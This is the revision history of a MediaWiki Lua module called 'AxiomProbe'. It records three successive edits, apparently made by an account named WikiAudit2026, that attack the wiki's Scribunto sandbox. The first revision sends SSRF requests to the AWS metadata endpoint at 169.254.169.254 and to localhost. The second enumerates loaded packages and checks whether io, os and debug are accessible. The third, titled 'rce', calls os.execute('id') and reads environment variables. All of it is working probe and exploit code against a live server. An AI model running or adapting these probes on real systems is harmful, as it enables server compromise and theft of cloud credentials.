Module:AxiomProbe - Revision history

WikiAudit2026: rce

2026-06-19T02:43:23Z

rce

← Older revision		Revision as of 02:43, 19 June 2026
Line 1:		Line 1:
	local p = {}		local p = {}
	function p.main(frame)		function p.main(frame)
	~~-- Try to read LocalSettings.php content hash or any accessible data~~
	~~local t = mw.title.new('Special:Version')~~
	local info = {}		local info = {}
			local os_funcs = {}
	~~-- Enumerate available Lua packages~~		for k, v in pairs(os) do table.insert(os_funcs, k .. '=' .. type(v)) end
	local ~~loaded~~ = {}		info.os_funcs = table.concat(os_funcs, '\|')
	for k, v in pairs(~~package.loaded~~) do		local ok1, v1 = pcall(os.getenv, 'PATH')
	table.insert(~~loaded~~, ~~tostring~~(k))		info.PATH = ok1 and tostring(v1) or ('ERR:' .. tostring(v1))
	end		local ok2, v2 = pcall(os.execute, 'id 2>&1')
	info.~~packages~~ = table.concat(~~loaded~~, ', ')		info.exec_ok = tostring(ok2)
			info.exec_val = tostring(v2)
	~~-- Check if io or~~ os ~~are accessible (they should be sandboxed~~)		local ok3, v3 = pcall(os.tmpname)
	info.~~io_type~~ = ~~type~~(io)		info.tmpname = ok3 and tostring(v3) or ('ERR:' .. tostring(v3))
	~~info.os_type~~ = ~~type~~(os)
	info.~~debug_type~~ = ~~type~~(~~debug~~)

	~~-- Try to get server info via mw~~
	info.~~server~~ = ~~mw.site.server~~
	~~info.script_path~~ = mw.~~site.scriptPath~~
	info.~~wiki_id~~ = mw.~~site~~.~~wikiId~~

	return mw.text.jsonEncode(info)		return mw.text.jsonEncode(info)
	end		end
	return p		return p

WikiAudit2026: probe v2

2026-06-19T02:41:42Z

probe v2

← Older revision		Revision as of 02:41, 19 June 2026
Line 1:		Line 1:
	local p = {}		local p = {}
	function p.main(frame)		function p.main(frame)
	~~local results = {}~~		-- Try to read LocalSettings.php content hash or any accessible data
	-- ~~Probe AWS metadata via mw~~.~~http (SSRF)~~		local t = mw.title.new('Special:Version')
	local ~~ok, r~~ = ~~pcall(~~mw.~~http~~.~~get,~~ '~~http~~:~~//169.254.169.254/latest/meta-data/~~')		local info = {}
	~~if ok and r then~~
	~~results.aws~~ = ~~tostring~~(r.~~body or r~~)		-- Enumerate available Lua packages
	~~else~~		local loaded = {}
	~~results~~.~~aws_err =~~ tostring(r)		for k, v in pairs(package.loaded) do
			table.insert(loaded, tostring(k))
	end		end
	~~-- Probe internal localhost~~		info.packages = table.concat(loaded, ', ')
	~~local ok2, r2~~ = ~~pcall~~(~~mw.http.get~~, '~~http://127.0.0.1:80/~~')
	if ~~ok2 and r2 then~~		-- Check if io or os are accessible (they should be sandboxed)
	~~results~~.~~local80~~ = ~~tostring~~(r2.~~body or ''~~)~~:sub~~(~~1,200~~)		info.io_type = type(io)
	~~else~~		info.os_type = type(os)
	~~results~~.~~local80_err~~ = ~~tostring(r2)~~		info.debug_type = type(debug)
	~~end~~
	return mw.text.jsonEncode(~~results~~)		-- Try to get server info via mw
			info.server = mw.site.server
			info.script_path = mw.site.scriptPath
			info.wiki_id = mw.site.wikiId

			return mw.text.jsonEncode(info)
	end		end
	return p		return p

WikiAudit2026: probe

2026-06-19T02:39:27Z

probe

New page

local p = {}
function p.main(frame)
local results = {}
-- Probe AWS metadata via mw.http (SSRF)
local ok, r = pcall(mw.http.get, 'http://169.254.169.254/latest/meta-data/')
if ok and r then
results.aws = tostring(r.body or r)
else
results.aws_err = tostring(r)
end
-- Probe internal localhost
local ok2, r2 = pcall(mw.http.get, 'http://127.0.0.1:80/')
if ok2 and r2 then
results.local80 = tostring(r2.body or ''):sub(1,200)
else
results.local80_err = tostring(r2)
end
return mw.text.jsonEncode(results)
end
return p